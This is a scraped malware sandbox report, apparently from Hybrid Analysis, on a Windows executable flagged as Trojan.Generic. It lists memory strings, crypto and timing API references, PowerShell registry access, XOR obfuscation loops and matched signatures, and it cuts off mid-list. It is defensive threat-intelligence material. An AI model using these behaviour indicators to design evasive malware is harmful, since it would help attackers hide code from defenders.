26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4b1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample aaa5b19624b1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample aaa5b19624b1…. Malware family: Trojan.Generic. Threat score 100/100. 16/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2"],"about":{"@type":"SoftwareApplication","name":"SecuriteInfo.com.Win64.Evo-gen.49237433.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":16,"total":24},"behavioralIndicators":{"malicious":16,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T917,Found string "364e35\System.Management.Automation.dll" (Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" (Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" (Source: "00000000-00002720.00000000.178880.E92D0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00002720.00000000.178880.E92D0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00002720.00000001.179099.E8BC0000.00000004.mdmp") Found string "??\C:\WINDOWS\System.Management.Automation.pdb" (Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp")28:T8ae,Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "SecuriteInfo.com.Win64.Evo-gen.49237433.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp")29:T696,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\INPROCHANDLER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\INPROCSERVER32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\INPROCSERVER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\INPROCHANDLER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\LOCALSERVER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\LOCALSERVER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\ELEVATION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER")2a:Ta6a,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-1749705705 [PID: 4180] "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-1749713535 [PID: 4180] "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-1750378783 [PID: 4180] "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-1750386963 [PID: 4180] "sc.exe" queried SystemProcessInformation at 00000000-00007848-00000C15-1750893110 [PID: 7848] "sc.exe" queried SystemProcessInformation at 00000000-00007848-00000C15-1750900656 [PID: 7848] "sc.exe" queried SystemProcessInformation at 00000000-00005824-00000C15-1755865730 [PID: 5824] "sc.exe" queried SystemProcessInformation at 00000000-00005824-00000C15-1755873241 [PID: 5824] "sc.exe" queried SystemProcessInformation at 00000000-00004544-00000C15-1760890359 [PID: 4544] "sc.exe" queried SystemProcessInformation at 00000000-00004544-00000C15-1760897826 [PID: 4544] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1762043983 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1762051614 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1763325954 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1763334348 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1764004642 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1764012971 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1764319547 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1764331772 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1764424235 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1764432466 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1765406143 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1765980076 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1765989489 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1766332309 [PID: 5432] "powershell.exe" queried SystemProcessInformation at 00000000-00005432-00000C15-1766340624 [PID: 5432]2b:Tc3e,Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp")2c:T936,"powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2d:T4a2,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – Encryption algorithm2e:T7474,Found XOR loop in file "LockAppHost14a02b.exe" at offset 163355; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 482829; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 766190; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 866372; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 882324; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 894384; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 933480; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1077418; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1081745; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1115699; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1306526; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1327501; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1354438; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1405497; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1414560; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1417085; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1482457; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1485151; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1531281; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1601500; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1706577; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1745208; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2015862; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2127880; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2155150; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2208197; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2333107; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2520691; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2771442; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2832075; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2868992; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2926067; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2928456; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3095924; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3190738; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3251179; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3762625; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3769422; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3777443; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3887072; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3925366; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4057668; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4078636; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4111281; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4148030; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4169265; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4304111; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4404413; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4412731; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4416760; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4625133; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4783197; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4847666; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4984746; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5030433; code bytes = 30d0 Found XOR loop in file "LockAppHost14a02b.exe" at offset 54354; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 55481; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 58016; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 67608; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 67741; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 286941; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 344388; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 626606; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 658878; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 684756; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 703532; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 729088; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 816818; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 896419; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1021339; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1053767; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1238730; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1399636; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1497348; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1573526; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1705768; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1722727; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1725716; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1798139; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1975275; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2027884; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2159778; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2283352; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2360850; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2400279; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2501242; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2559725; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2632851; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2767283; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2785268; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2840803; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3008003; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3308636; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3320011; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3358019; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3418546; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3425841; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3451105; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3572425; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3665496; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3761010; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3792878; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3804265; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3811662; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3844410; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4259634; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4260695; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4482691; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4489962; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4504906; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4597471; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4763150; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4819920; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4819939; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4819955; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4875836; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4925825; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4980318; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4990138; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5046201; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5057436; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5120678; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5162158; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5175720; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5179115; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5188777; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 5193773; code bytes = 33c1 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2026081; code bytes = 30040e Found XOR loop in file "LockAppHost14a02b.exe" at offset 17366; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 17397; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 17429; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 107765; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 327878; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 336151; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 559441; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 611934; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 637298; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 698670; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 728894; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 816849; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1004353; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1063509; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1120702; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1170405; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1303747; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1334307; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1391220; code bytes = 